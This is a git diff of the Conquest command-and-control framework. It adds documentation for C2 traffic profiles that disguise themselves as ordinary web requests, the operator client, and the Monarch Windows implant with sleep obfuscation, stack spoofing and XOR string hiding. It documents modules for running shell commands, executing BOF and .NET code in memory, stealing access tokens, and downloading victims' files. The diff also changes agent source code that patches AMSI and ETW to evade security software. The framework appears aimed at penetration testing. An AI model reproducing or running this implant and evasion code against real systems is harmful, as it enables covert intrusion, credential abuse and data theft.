"Keep-Alive" +Cache-Control = "no-cache" +``` + +![GET Traffic with C2 Profiles](../assets/profile-2.png) + + +### Response options + +The C2 profile can also be used to change the team server's responses to GET requests that contain the task that are to be executed by the agent. Similar to the requests, headers can be set under the `[http-get.server.headers]` block and the previously mentioned data transformation options can be used in the `[http-get.server.output]` block. The only placement option that is supported for the response is `body`. + +```toml +# Defines arbitrary headers that are added to the server's response +[http-get.server.headers] +Server = "nginx" +Content-Type = "application/octet-stream" +Connection = "Keep-Alive" + +[http-get.server.output] +placement = { type = "body" } +``` + +## POST settings + +HTTP POST requests can be configured in a similar way to GET requests. Here, it is also possible to define alternative request methods, such as PUT. + +```toml +[http-post] +user-agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36" + +# Defines URI endpoints for HTTP POST requests +endpoints = [ + "/post", + "/api/v2/get.js" +] + +# Post request can also be sent with the HTTP verb PUT instead +request-methods = [ + "POST", + "PUT" +] + +[http-post.agent.headers] +Host = [ + "wikipedia.org", + "google.com", + "127.0.0.1" +] +Content-Type = "application/octet-stream" +Connection = "Keep-Alive" +Cache-Control = "no-cache" + +[http-post.agent.output] +placement = { type = "body" } + +[http-post.server.headers] +Server = "nginx" + +[http-post.server.output] +placement = { type = "body" } +``` + +![POST request with task data](../assets/profile-3.png) \ No newline at end of file diff --git a/docs/4-CLIENT.md b/docs/4-CLIENT.md new file mode 100644 index 0000000..184382e --- /dev/null +++ b/docs/4-CLIENT.md @@ -0,0 +1,73 @@ +# Operator Client - User Interface + +## Contents + +- [General](#general) +- [Listeners](#listeners) +- [Sessions](#sessions) +- [Agent Console](#agent-console) +- [Downloads](#downloads) +- [Screenshots](#screenshots) +- [Eventlog](#eventlog) + +## General + +Conquest's operator client is developed using a wrapper for the **Dear ImGui** library in Nim. It communicates via WebSocket with the team server to instruct it to perform various actions, such as starting listeners, generating payloads or tasking agents to execute commands. At the same time, it receives data from the team server, such as new agents, command output or files and updates the user interface in real-time. Dear ImGui makes it easy to reorder windows and components for a customizable and flexible user experience. + +## Listeners + +The **Listeners** view shows a table with all currently active listeners and provides buttons for starting new listeners and for generating `Monarch` payloads. Right-clicking an active listeners opens a context menu that allows the user to stop the listener. + +![Listeners View](../assets/client.png) + +## Sessions + +The **Sessions Table** view, located by default in the top left shows information about agents and the target system they are running on, such as the username, hostname, domain, internal and external IP address, process information and the time since the last heartbeat. By right-clicking the header row, columns can be hidden and shown, as well as reordered and resized. + +![Sessions View](../assets/client-1.png) + +To interact with an agent, one can either double-click it, or right-click the row and select `Interact`. From this right-click context menu, it is also possible to exit the agent and remove it from the team server database, which is usually done to prevent inactive agents from reappearing after a client restart. + +![Session View Context Menu](../assets/client-2.png) + +It is also possible to select multiple rows by dragging or holding CTRL/SHIFT and performing actions on all selected rows simultaneously. + +## Agent Console + +An **Agent Console** is opened in the bottom panel when an agent is interacted with. It features an input field at the bottom where the command can be entered, a large textarea, where output can by selected and copied, as well as a search field for filtering the output. The console input field features tab-autocompletion for commands and supports searching through the command history using the up and down arrow keys. + +![Console View](../assets/client-3.png) +![Console Filter](../assets/client-5.png) + +Available keyboard shortcuts: + +| Shortcut | Action | +| --- | --- | +| CTRL + F | Focuses search input | +| CTRL + A | Highlight all output | +| CTRL + C | Copy selection | +| CTRL + V | Paste clipboard | + + +## Downloads + +The **Downloads** view is hidden by default and can be enabled via the menu bar: `Views -> Loot -> Downloads`. By default, it opens in the bottom panel and displays information about the downloaded files on the left and the contents of the file on the right. The content is fetched from the team server when a loot row is selected for the first time. + +![Downloads View](../assets/client-8.png) + +Right-clicking a row opens a context menu with two options: + +- Download: Download the file to disk +- Remove: Ask the team server to remove the loot item from the database + +## Screenshots + +Similar to the downloads, the **Screenshots** view is hidden by default and can be enabled by selecting `Views -> Loot -> Screenshots`. A preview of the screenshot is shown directly in the operator client. The ../assets/client can again be downloaded to disk by right-clicking the item and selecting `Download`. + +![Screenshots View](../assets/client-9.png) + +## Eventlog + +The **Eventlog** view is shown by default in the top right and displays general team server events, info messages and errors. + +![Eventlog View](../assets/client-7.png) \ No newline at end of file diff --git a/docs/5-LISTENER.md b/docs/5-LISTENER.md new file mode 100644 index 0000000..58637e1 --- /dev/null +++ b/docs/5-LISTENER.md @@ -0,0 +1,12 @@ +# Listeners + +Listeners can be started by pressing the **Start Listener** button in the **Listeners** view. This opens the following modal popup. + +![Listener Modal](../assets/listener.png) + +| Name | Description | +| --- | --- | +| Protocol | Listener type. Currently only `http` listeners are implemented | +| Host (Bind) | IP address or interface that the listener binds to on the team server | +| Port (Bind) | Port that the listeners bind to on the team server | +| Hosts (Callback) | Callback hosts, one per line. The hosts are defined, separated by new-lines, in the format `:`. If no port is specified, the bind port is used instead. If no callback hosts are defined at all, the bind host and bind port are used.
Callback hosts are the endpoints that the `Monarch` agent connects to. If multiple are defined, a random entry of the list of callback hosts is selected for each request. \ No newline at end of file diff --git a/docs/6-AGENT.md b/docs/6-AGENT.md new file mode 100644 index 0000000..26d2ea0 --- /dev/null +++ b/docs/6-AGENT.md @@ -0,0 +1,124 @@ +# Agents + +## Contents + +- [The Monarch](#the-monarch) +- [Sleep settings](#sleep-settings) + - [Sleep Obfuscation](#sleep-obfuscation) + - [Stack Spoofing](#stack-spoofing) + - [Working hours](#working-hours) +- [Kill date](#kill-date) +- [String obfuscation](#string-obfuscation) +- [Evasion](#evasion) + +## The Monarch + +The `Monarch` agent is Conquest's built-in agent that can be used to command and control Windows targets using a variety of post-exploitation modules. It can be customized using the payload generation modal pop-up, which is opened by pressing the **Generate Payload** button in the **Listeners** view. + +![Agent Modal](../assets/agent-1.png) + +When the `Monarch` is built, it is embedded with a large placeholder field that is then patched with the agent configuration, such as the listener information, sleep settings, C2 profile and team server's public key. The agent generation modal has numerous settings, which are explained below and in subsequent sections. + +| Setting | Type | Description | +| --- | --- | --- | +| Listener | Dropdown selection | ID of the listener the agent with be configured to connect to. | +| Verbose | Boolean | Enable/Disable verbose mode. When this checkbox is checked, the agent prints debug messages in the console. | +| Modules | Dual list selection | Select the modules that are to be built into the agent. Highlighting a module shows a brief description and the included commands. More on modules can be found [here](./7-MODULES.md). | + +The build log shows the state of the agent build process. When the build is finished, a file dialog is opened on the client that prompts the operator to choose where to save the `Monarch` executable. + +## Sleep settings + +Aside from the general settings explained above, a major aspect of the `Monarch` agent is the ability to configure the sleep settings. + +| Setting | Type | Description | +| --- | --- | --- | +| Sleep delay | Integer | Sleep delay between heartbeat requests in seconds. | +| Jitter | Integer (0-100) | Sleep jitter in %. For example, if a sleep delay of 10 seconds and a jitter of 50% is configured, the final sleep delay can be anything between 5 and 15 seconds. | +| Sleep mask | Dropdown | Sleep obfuscation technique to use. Available options are `EKKO`, `ZILEAN`, `FOLIAGE` and `NONE` (default). | +| Stack spoofing | Boolean | When enabled, the agent performs call spoofs the call stack during while sleeping using stack duplication. This setting is only available for the sleep obfuscation techniques `EKKO` and `ZILEAN`. | +| Working hours | Configuration | Timeframe, within which the agent sends heartbeat messages. + +![Verbose agent output showing sleep settings](../assets/agent-3.png) + +### Sleep Obfuscation + +When configured, sleep obfuscation is used by the `Monarch` agent to hide itself from memory scanners in between heartbeat requests. In general, sleep obfuscation, also called sleepmask, is a technique that allows a C2 agent to encrypt it's own memory before a sleep cycle, delay the execution and then decrypt itself to make a request again. + +When the agent doesn't use sleep obfuscation, or when the sleep delay is over, the memory looks as follows: + +![Unencrypted memory](../assets/agent-4.png) + +However, while the agent is asleep, the memory is encrypted using `SystemFunction32` with a random RC4 encryption key. + +![Encrypted memory](../assets/agent-5.png) + +Conquest supports the following sleep obfuscation techniques: + +| Sleep obfuscation technique | Description | +| --- | --- | +| NONE | Uses a regular `Sleep` call for the delay. Does not encrypt agent memory. | +| EKKO | Ekko sleep obfuscation by C5pider based on the implementation shown in Maldev Academy. Uses `RtlCreateTimer` to perform sleep obfuscation. | +| ZILEAN | Zilean sleep obfuscation by C5pider. Similar to Ekko, but uses `RtlRegisterWait` instead. | +| FOLIAGE | Foliage sleep obfuscation based on Asynchronous Procedure Calls. | + +#### Stack Spoofing + +Without stack spoofing, the thread stack of the agent process displays the call to `NtSignalAndWaitForSingleObject`, which is the API responsible for the delay. + +![Stack not spoofed](../assets/agent-6.png) + +With stack spoofing enabled, the call stack of another thread is duplicated to hide these suspicious function calls. + +![Spoofed stack](../assets/agent-7.png) + +### Working hours + +Working hours can be enabled and configured by checking the checkbox and clicking **Configure** in the agent generation modal. It is possible to select a start and end time in the HH:mm format. Within working hours, an agent sends requests to the team server as expected. When the agent detects that it is outside of working hours however, it calculates the sleep delay needed to reach the next workday (e.g. 09:00 the following day) and sleeps until then. This provides more operational security, because no network traffic is sent at unreasonable times. + +Working hours considers the **local** system time to determine if the agent is within working hours. + +![Working Hours Modal](../assets/agent-2.png) + +## Kill date + +The agent kill date can be configured by checking the checkbox and clicking **Configure** in the agent generation modal to have an agent process terminate when a specific date/time is reached. For instance, it can be set to the end date and time of a penetration test to prevent the testers from interacting with implants after the test has ended. + +Kill date uses **UTC** time. + +![Kill Date Modal](../assets/agent.png) + +## String obfuscation + +Compile-time string obfuscation is implemented using Nim's extensive macro and meta-programming system. Static strings, such as the keys to profile settings are XOR-ed at compile time with a randomized key so they don't show up in binary, when using the `strings` command for instance. + +```nim +# Compile-time string encryption using simple XOR +# This is done to hide sensitive strings, such as C2 profile settings in the binary +# https://github.com/S3cur3Th1sSh1t/nim-strenc/blob/main/src/strenc.nim +proc calculate(str: string, key: int): string {.noinline.} = + var k = key + var bytes = string.toBytes(str) + for i in 0 ..< bytes.len: + for f in [0, 8, 16, 24]: + bytes[i] = bytes[i] xor uint8((k shr f) and 0xFF) + k = k +% 1 + return Bytes.toString(bytes) + +# Generate a XOR key at compile-time. The `and` operation ensures that a positive integer is the result +var key {.compileTime.}: int = hash(CompileTime & CompileDate) and 0x7FFFFFFF + +macro protect*(str: untyped): untyped = + var encStr = calculate($str, key) + result = quote do: + calculate(`encStr`, `key`) + + # Alternate the XOR key using the FNV prime (1677619) + key = (key *% 1677619) and 0x7FFFFFFF +``` + +String obfuscation is not enabled for debug messages when using verbose mode. + +## Evasion + +While the `Monarch` offers some evasive functionality, such as sleep and string obfuscation and more, it was not specifically designed to be as evasive as possible. It is not guaranteed or even expected that the payload evades all AV/EDR software, as it has not been developed with that capability as a priority. Evasiveness and operational security are the responsibilities of the operator, not the author of this framework. diff --git a/docs/7-MODULES.md b/docs/7-MODULES.md new file mode 100644 index 0000000..9aaa738 --- /dev/null +++ b/docs/7-MODULES.md @@ -0,0 +1,445 @@ +# Modules + +## Contents + +- [Overview](#overview) +- [EXIT](#exit) + - [exit](#exit-1) + - [self-destruct](#self-destruct) +- [SLEEP](#sleep) + - [sleep](#sleep-1) + - [sleepmask](#sleepmask) +- [SHELL](#shell) + - [shell](#shell-1) +- [BOF](#bof) + - [bof](#bof-1) +- [DOTNET](#dotnet) + - [dotnet](#dotnet-1) +- [FILESYSTEM](#filesystem) + - [pwd](#pwd) + - [cd](#cd) + - [ls](#ls) + - [rm](#rm) + - [rmdir](#rmdir) + - [move](#move) + - [copy](#copy) +- [FILETRANSFER](#filetransfer) + - [download](#download) + - [upload](#upload) +- [SCREENSHOT](#screenshot) + - [screenshot](#screenshot-1) +- [SYSTEMINFO](#systeminfo) + - [ps](#ps) + - [env](#env) +- [TOKEN](#token) + - [make-token](#make-token) + - [steal-token](#steal-token) + - [rev2self](#rev2self) + - [token-info](#token-info) + - [enable-privilege](#enable-privilege) + - [disable-privilege](#disable-privilege) + +## Overview + +Modules are bundles of agent commands that can be embedded into the executable when configuring and building the `Monarch` agent. Currently, the following commands are available when all modules are activated. + +``` + * exit Exit the agent. + * self-destruct Exit the agent and delete the executable from disk. + * sleep Update sleep delay settings. + * sleepmask Update sleepmask settings. + * shell Execute a shell command and retrieve the output. + * bof Execute an object file in memory and retrieve the output. + * dotnet Execute a .NET assembly in memory and retrieve the output. + * pwd Retrieve current working directory. + * cd Change current working directory. + * ls List files and directories. + * rm Remove a file. + * rmdir Remove a directory. + * move Move a file or directory. + * copy Copy a file or directory. + * download Download a file. + * upload Upload a file. + * screenshot Take a screenshot of the target system. + * ps Display running processes. + * env Display environment variables. + * make-token Create an access token from username and password. + * steal-token Steal the primary access token of a remote process. + * rev2self Revert to original access token. + * token-info Retrieve information about the current access token. + * enable-privilege Enable a token privilege. + * disable-privilege Disable a token privilege. +``` + +## EXIT + +Though not necessarily a module that can be enabled via the payload builder, the `exit` module exposes two commands that are built into the agent by default. + +### exit +Terminate the agent process or thread. This command is also invoked when the agent is exited from the UI. + +``` +Usage : exit [type] +Example : exit process + +Arguments: + Name Type Required Description + --------------- ------ -------- -------------------- + * type STRING NO Available options: PROCESS/THREAD. Default: PROCESS. +``` + +### self-destruct +Terminate the agent process and delete the agent executable from disk. +``` +Usage : self-destruct +Example : self-destruct +``` + +## SLEEP +The `sleep` module is used to change sleep settings dynamically on the agent. + +### sleep +Update sleep delay. + +``` +Usage : sleep +Example : sleep 5 + +Arguments: + Name Type Required Description + --------------- ------ -------- -------------------- + * delay INT YES Delay in seconds. +``` + +### sleepmask +Update sleepmask/sleep obfuscation settings. Executing without arguments retrieves the current sleepmask settings and prints them in the agent console. + +``` +Usage : sleepmask [technique] [spoof] +Example : sleepmask ekko true + +Arguments: + Name Type Required Description + --------------- ------ -------- -------------------- + * technique STRING NO Sleep obfuscation technique (NONE, EKKO, ZILEAN, FOLIAGE). + * spoof BOOL NO Use stack spoofing to obfuscate the call stack. +``` + +![Sleepmask command](../assets/modules-1.png) + +## SHELL +The `shell` module is a simple module for executing shell commands using Nim's `execCmdEx` function. Double-quoted strings are parsed as a single argument. + +### shell +Execute a shell command and retrieve the output + +``` +Usage : shell [arguments] +Example : shell whoami /all + +Arguments: + Name Type Required Description + --------------- ------ -------- -------------------- + * command STRING YES Command to be executed. + * arguments STRING NO Arguments to be passed to the command. + ``` + +![Shell command](../assets/modules.png) + +## BOF +The `bof` module provides an effective BOF/COFF loader that can be used to execute beacon object files (*.o) in-memory. The object file is read from disk on the operator client and sent to the agent as part of the task data. + +### bof +Execute an object file in memory and retrieve the output. + +``` +Usage : bof [arguments] +Example : bof /path/to/dir.x64.o C:\Users + +Arguments: + Name Type Required Description + --------------- ------ -------- -------------------- + * path BINARY YES Path to the object file to execute. + * arguments STRING NO Arguments to be passed to the object file. Arguments are handled as STRING, unless specified with a prefix +``` + +![Bof whoami](../assets/modules-2.png) + +Arguments are handled as STRING by default, but some BOFs expect other types. Prefixes can be used to tell the BOF loader how to process the passed argument. + +| Prefix | Type | +| --- | --- | +| `[i]:` | Integer | +| `[w]:` | Wide String | +| `[s]:` | Short | + +![Bof cat (with prefix)](../assets/modules-3.png) + + +## DOTNET + +The `dotnet` module executes a .NET assembly in memory using the CLR. As with object files, the .NET assembly is read from the operator desktop. In order to prevent security software from blocking the execution, this module patches AMSI and ETW using hardware breakpoints. + +### dotnet +Execute a .NET assembly in memory and retrieve the output. + +``` +Usage : dotnet [arguments] +Example : dotnet /path/to/Seatbelt.exe antivirus + +Arguments: + Name Type Required Description + --------------- ------ -------- -------------------- + * path BINARY YES Path to the .NET assembly file to execute. + * arguments STRING NO Arguments to be passed to the assembly. Arguments are handled as STRING +``` + +![Dotnet command](../assets/modules-4.png) + +## FILESYSTEM +The `filesystem` module features basic commands that have been implemented using the Windows API for interacting with the file system. Supports quoted arguments. + +### pwd +Retrieve current working directory. + +``` +Usage : pwd +Example : pwd +``` + +### cd +Change current working directory. + +``` +Usage : cd +Example : cd C:\Windows\Tasks + +Arguments: + Name Type Required Description + --------------- ------ -------- -------------------- + * directory STRING YES Relative or absolute path of the directory to change to. +``` + +### ls +List files and directories. + +``` +Usage : ls [directory] +Example : ls C:\Users\Administrator\Desktop + +Arguments: + Name Type Required Description + --------------- ------ -------- -------------------- + * directory STRING NO Relative or absolute path. Default: current working directory. +``` + +### rm +Remove a file. + +``` +Usage : rm +Example : rm C:\Windows\Tasks\payload.exe + +Arguments: + Name Type Required Description + --------------- ------ -------- -------------------- + * file STRING YES Relative or absolute path to the file to delete. + ``` + +### rmdir +Remove a directory. +``` +Usage : rmdir +Example : rm C:\Payloads + +Arguments: + Name Type Required Description + --------------- ------ -------- -------------------- + * directory STRING YES Relative or absolute path to the directory to delete. +``` + +### move +Move a file or directory. + +``` +Usage : move +Example : move source.exe C:\Windows\Tasks\destination.exe + +Arguments: + Name Type Required Description + --------------- ------ -------- -------------------- + * source STRING YES Source file path. + * destination STRING YES Destination file path. + ``` + +### copy +Copy a file or directory. +``` +Usage : copy +Example : copy source.exe C:\Windows\Tasks\destination.exe + +Arguments: + Name Type Required Description + --------------- ------ -------- -------------------- + * source STRING YES Source file path. + * destination STRING YES Destination file path. +``` + +## FILETRANSFER +The `filetransfer` module is used to transfer files from and to the target system. + +### download +Download a file to the team server. + +``` +Usage : download +Example : download C:\Users\john\Documents\Database.kdbx + +Arguments: + Name Type Required Description + --------------- ------ -------- -------------------- + * file STRING YES Path to file to download from the target machine. + ``` + +### upload +Upload a file from the operator Desktop to the targe system. +``` +Usage : upload +Example : upload /path/to/payload.exe + +Arguments: + Name Type Required Description + --------------- ------ -------- -------------------- + * file BINARY YES Path to file to upload to the target machine. + ``` + +## SCREENSHOT +The `screenshot` module can be used to capture a screenshot of all monitors of the system the agent is running on. + +### screenshot +Take a screenshot of the target system. +``` +Usage : screenshot +Example : screenshot +``` + +## SYSTEMINFO +Use the `systeminfo` module to query basic information, such as running processes and environment variables. + +### ps +Display running processes. +``` +Usage : ps +Example : ps +``` + +### env +Display environment variables. +``` +Usage : env +Example : env + +``` + +## TOKEN + +The `token` module can be used to manipulate Windows access tokens and privileges. + +### make-token +Create an access token from username and password. + +``` +Usage : make-token [logonType] +Example : make-token LAB\john Password123! + +Arguments: + Name Type Required Description + --------------- ------ -------- -------------------- + * domain\username STRING YES Account domain and username. For impersonating local users, use .\username. + * password STRING YES Account password. + * logonType INT NO Logon type (https://learn.microsoft.com/en-us/windows-server/identity/securing-privileged-access/reference-tools-logon-types). +``` + +By default, the logon type is set to 9 - NewCredentials, which is also the default for frameworks like Cobalt Strike. The credentials are hereby not validated, making it possible to create a new logon session as a target user without knowing the password and injecting a valid Kerberos ticket into the session to impersonate them. Alternatively, these are the logon types that can be used. Most of the time, logon type 9 will be the best option, though in some cases it might be useful to impersonate a local user with logon type 2. + + +| Logon type | # | Examples | +|------------|---|----------| +| Interactive (also known as, Logon locally) | 2 | Console logon;
RUNAS;
Hardware remote control solutions (such as Network KVM or Remote Access / Lights-Out Card in server)
IIS Basic Auth (before IIS 6.0) | +| Network | 3 | NET USE;
RPC calls;
Remote registry;
IIS integrated Windows auth;
SQL Windows auth; | +| Batch | 4 | Scheduled tasks | +| Service | 5 | Windows services | +| NetworkCleartext | 8 | IIS Basic Auth (IIS 6.0 and newer);
Windows PowerShell with CredSSP | +| NewCredentials | 9 | RUNAS /NETWORK | +| RemoteInteractive | 10 | Remote Desktop (formerly known as "Terminal Services") | + +This command can be executed from a `Monarch` running in a **medium-integrity** (non-elevated) process. After creating a token from the username and password, the `make-token` command also impersonates it immediately. The current impersonation is displayed in the **Username** column of the **Sessions** view. + +![Token make](../assets/modules-5.png) + +### steal-token +Steal the primary access token of a remote process. + +``` +Usage : steal-token +Example : steal-token 1234 + +Arguments: + Name Type Required Description + --------------- ------ -------- -------------------- + * pid INT YES Process ID of the target process. +``` + +The `steal-token` command requires the `Monarch` to be in an elevated process with a **high mandatory level**. By passing the target PID, it is possible to impersonate `NT AUTHORITY\SYSTEM` or other users. + +In the screenshot below, the PID belongs to the `winlogon.exe` process, which is running as `NT AUTHORITY\SYSTEM`. + +![Token steal](../assets/modules-6.png) + +### rev2self +Stop impersonating and revert to original access token. + +``` +Usage : rev2self +Example : rev2self +``` + +### token-info +Retrieve information about the current access token, such as token type, elevation, the user the token belongs to, group memberships and token privileges. + +``` +Usage : token-info +Example : token-info +``` + +![Token info](../assets/modules-7.png) + +### enable-privilege +Enable a token privilege. + +``` +Usage : enable-privilege +Example : enable-privilege SeImpersonatePrivilege + +Arguments: + Name Type Required Description + --------------- ------ -------- -------------------- + * privilege STRING YES Privilege to enable. +``` + +![Enable priv](../assets/modules-8.png) + +### disable-privilege +Disable a token privilege. + +``` +Usage : disable-privilege +Example : disable-privilege SeImpersonatePrivilege + +Arguments: + Name Type Required Description + --------------- ------ -------- -------------------- + * privilege STRING YES Privilege to disable. + ``` + +![Disable priv](../assets/modules-9.png) \ No newline at end of file diff --git a/docs/COMMANDS.md b/docs/COMMANDS.md deleted file mode 100644 index cebba08..0000000 --- a/docs/COMMANDS.md +++ /dev/null @@ -1,45 +0,0 @@ -# "Monarch" Agent commands: - -House-keeping -------------- -- [x] sleep : Set sleep obfuscation duration to a different value and persist that value in the agent - -Basic API-only Commands ------------------------ -- [x] pwd : Get current working directory -- [x] cd : Change directory -- [x] ls/dir : List all files in directory (including hidden ones) -- [x] rm : Remove a file -- [x] rmdir : Remove a empty directory -- [x] mv : Move a file -- [x] cp : Copy a file -- [ ] cat/type : Display contents of a file -- [x] env : Display environment variables -- [x] ps : List processes -- [ ] whoami : Get UID and privileges, etc. - -- [ ] token : Token impersonation - - [ ] make : Create a token from a user's plaintext password (LogonUserA, ImpersonateLoggedOnUser) - - [ ] steal : Steal the access token from a process (OpenProcess, OpenProcessToken, DuplicateToken, ImpersonateLoggedOnUser) - - [ ] use : Impersonate a token from the token vault (ImpersonateLoggedOnUser) -> update username like in Cobalt Strike -- [ ] rev2self : Revert to original logon session (RevertToSelf) - -Execution Commands ------------------- -- [x] shell : Execute shell command (to be implemented using Windows APIs instead of execCmdEx) -- [x] bof : Execute Beacon Object File in memory and retrieve output (bof /local/path/file.o) - - Read from listener endpoint directly to memory - - Base for all kinds of BOFs (Situational Awareness, ...) -- [ ] pe : Execute PE file in memory and retrieve output (pe /local/path/mimikatz.exe) -- [x] dotnet : Execute .NET assembly inline in memory and retrieve output (dotnet /local/path/Rubeus.exe ) - -Post-Exploitation ------------------ -- [x] upload : Upload file from server to agent (upload /local/path/to/file C:\Windows\Tasks) - - File to be downloaded moved to specific endpoint on listener, e.g. GET ////file - - Read from webserver and written to disk -- [x] download : Download file from agent to teamserver - - Create loot directory for agent to store files in - - Read file into memory and send byte stream to specific endpoint, e.g. POST ///-task/file - - Encrypt file in-transit!!! -- [x] screenshot : Take a screenshot of the entire desktop and all monitors diff --git a/docs/INSTALL.md b/docs/INSTALL.md deleted file mode 100644 index b75f54d..0000000 --- a/docs/INSTALL.md +++ /dev/null @@ -1,29 +0,0 @@ -# Installation Guide - -1. Clone the Conquest repository -``` -git clone https://github.com/jakobfriedl/conquest -cd conquest -``` - -2. Install Nim - -```bash -curl https://nim-lang.org/choosenim/init.sh -sSf | sh -``` - -3. Install Nimble dependencies -``` -nimble install -d -``` - -4. Build conquest binaries -``` -nimble server -``` - -5. Start the Conquest server with a C2 Profile -``` -./bin/server -p ./data/profile.toml -``` - diff --git a/docs/README.md b/docs/README.md new file mode 100644 index 0000000..18f7de4 --- /dev/null +++ b/docs/README.md @@ -0,0 +1,9 @@ +# Documentation + +1. [Installation](./1-INSTALLATION.md) +2. [Architecture & Specification](./2-ARCHITECTURE.md) +3. [C2 Profiles](./3-PROFILE.md) +4. [Operator Client](./4-CLIENT.md) +5. [Listeners](./5-LISTENER.md) +6. [Monarch Agent](./6-AGENT.md) +7. [Modules and Commands](./7-MODULES.md) \ No newline at end of file diff --git a/src/agent/README.md b/src/agent/README.md deleted file mode 100644 index c0985bf..0000000 --- a/src/agent/README.md +++ /dev/null @@ -1,7 +0,0 @@ -# Conquest Agents - -The `Monarch` agent is designed to run primarily on Windows. For cross-compilation from UNIX, use: - -``` -./build.sh -``` \ No newline at end of file diff --git a/src/agent/core/clr.nim b/src/agent/core/clr.nim index 7f24261..8f1646b 100644 --- a/src/agent/core/clr.nim +++ b/src/agent/core/clr.nim @@ -1,7 +1,7 @@ import winim/[lean, clr] -import os, strformat, strutils, sequtils -import ./hwbp -import ../../common/[types, utils] +import os +import ../utils/[hwbp, io] +import ../../common/utils #[ Executing .NET assemblies in memory @@ -19,14 +19,14 @@ import ../../common/[types, utils] proc amsiPatch(pThreadCtx: PCONTEXT) = # Set the AMSI_RESULT parameter to 0 (AMSI_RESULT_CLEAN) SETPARAM_6(pThreadCtx, cast[PULONG](0)) - echo protect(" [+] AMSI_SCAN_RESULT set to AMSI_RESULT_CLEAN") + print " [+] AMSI_SCAN_RESULT set to AMSI_RESULT_CLEAN" CONTINUE_EXECUTION(pThreadCtx) proc etwPatch(pThreadCtx: PCONTEXT) = pThreadCtx.Rip = cast[PULONG_PTR](pThreadCtx.Rsp)[] pThreadCtx.Rsp += sizeof(PVOID) pThreadCtx.Rax = STATUS_SUCCESS - echo protect(" [+] Return value of NtTraceEvent set to STATUS_SUCCESS") + print " [+] Return value of NtTraceEvent set to STATUS_SUCCESS" CONTINUE_EXECUTION(pThreadCtx) #[ diff --git a/src/agent/core/coff.nim b/src/agent/core/coff.nim index 6e02262..5b5d054 100644 --- a/src/agent/core/coff.nim +++ b/src/agent/core/coff.nim @@ -1,6 +1,6 @@ import winim/lean import os, strformat, strutils, ptr_math -import ./beacon +import ../utils/[beacon, io] import ../../common/[types, utils, serialize] #[ @@ -88,7 +88,7 @@ proc objectVirtualSize(objCtx: POBJECT_CTX): ULONG = # Check if symbol starts with `__ipm_` (imported functions) if ($symbol).startsWith("__imp_"): length += ULONG(sizeof(PVOID)) - # echo $symbol + # print $symbol # Handle next relocation item/symbol objRel = cast[PIMAGE_RELOCATION](cast[int](objRel) + sizeof(IMAGE_RELOCATION)) @@ -149,14 +149,14 @@ proc objectResolveSymbol(symbol: var PSTR): PVOID = if hModule == 0: hModule = LoadLibraryA(library) if hModule == 0: - raise newException(CatchableError, fmt"Library {$library} not found.") + raise newException(CatchableError, GetLastError().getError()) # Resolve the function from the loaded library resolved = GetProcAddress(hModule, function) if resolved == NULL: - raise newException(CatchableError, fmt"Function {$function} not found in {$library}.") + raise newException(CatchableError, GetLastError().getError()) - echo fmt" [>] {$symbol} @ 0x{resolved.repr}" + print fmt" [>] {$symbol} @ 0x{resolved.repr}" RtlSecureZeroMemory(addr buffer[0], sizeof(buffer)) @@ -295,7 +295,7 @@ proc objectExecute(objCtx: POBJECT_CTX, entry: PSTR, args: seq[byte]): bool = # Change the memory protection from [RW-] to [R-X] if VirtualProtect(secBase, secSize, PAGE_EXECUTE_READ, addr oldProtect) == 0: - raise newException(CatchableError, $GetLastError()) + raise newException(CatchableError, GetLastError().getError()) # Execute BOF entry point var entryPoint = cast[EntryPoint](cast[uint](secBase) + cast[uint](objSym.Value)) @@ -307,7 +307,7 @@ proc objectExecute(objCtx: POBJECT_CTX, entry: PSTR, args: seq[byte]): bool = # Revert the memory protection change if VirtualProtect(secBase, secSize, oldProtect, addr oldProtect) == 0: - raise newException(CatchableError, $GetLastError()) + raise newException(CatchableError, GetLastError().getError()) return true @@ -332,45 +332,45 @@ proc inlineExecute*(objectFile: seq[byte], args: seq[byte] = @[], entryFunction: var pObject = addr objectFile[0] if pObject == NULL or entryFunction == NULL: - raise newException(CatchableError, "Arguments pObject and entryFunction are required.") + raise newException(CatchableError, protect("Missing required arguments.")) # Parsing the object file's file header, symbol table and sections objCtx.union.header = cast[PIMAGE_FILE_HEADER](pObject) objCtx.symTbl = cast[PIMAGE_SYMBOL](cast[int](pObject) + cast[int](objCtx.union.header.PointerToSymbolTable)) objCtx.sections = cast[PIMAGE_SECTION_HEADER](cast[int](pObject) + sizeof(IMAGE_FILE_HEADER)) - # echo objCtx.union.header.repr - # echo objCtx.symTbl.repr - # echo objCtx.sections.repr + # print objCtx.union.header.repr + # print objCtx.symTbl.repr + # print objCtx.sections.repr # Verifying that the object file's architecture is x64 when defined(amd64): if objCtx.union.header.Machine != IMAGE_FILE_MACHINE_AMD64: RtlSecureZeroMemory(addr objCtx, sizeof(objCtx)) - raise newException(CatchableError, "Only x64 object files are supported") + raise newException(CatchableError, protect("Only x64 object files are supported.")) else: RtlSecureZeroMemory(addr objCtx, sizeof(objCtx)) - raise newException(CatchableError, "Only x64 object files are supported") + raise newException(CatchableError, protect("Only x64 object files are supported.")) # Calculate required virtual memory virtSize = objectVirtualSize(addr objCtx) - echo fmt"[*] Virtual size of object file: {virtSize} bytes" + print fmt"[*] Virtual size of object file: {virtSize} bytes" # Allocate memory virtAddr = VirtualAlloc(NULL, virtSize, MEM_RESERVE or MEM_COMMIT, PAGE_READWRITE) if virtAddr == NULL: RtlSecureZeroMemory(addr objCtx, sizeof(objCtx)) - raise newException(CatchableError, $GetLastError()) + raise newException(CatchableError, GetLastError().getError()) defer: VirtualFree(virtAddr, 0, MEM_RELEASE) # Allocate heap memory to store section map array objCtx.secMap = cast[PSECTION_MAP](HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, int(objCtx.union.header.NumberOfSections) * sizeof(SECTION_MAP))) if objCtx.secMap == NULL: RtlSecureZeroMemory(addr objCtx, sizeof(objCtx)) - raise newException(CatchableError, $GetLastError()) + raise newException(CatchableError, GetLastError().getError()) defer: HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, objCtx.secMap) - echo fmt"[*] Virtual memory allocated for object file at 0x{virtAddr.repr} ({virtSize} bytes)" + print fmt"[*] Virtual memory allocated for object file at 0x{virtAddr.repr} ({virtSize} bytes)" # Set the section base to the allocated memory secBase = virtAddr @@ -380,7 +380,7 @@ proc inlineExecute*(objectFile: seq[byte], args: seq[byte] = @[], entryFunction: sections = cast[ptr 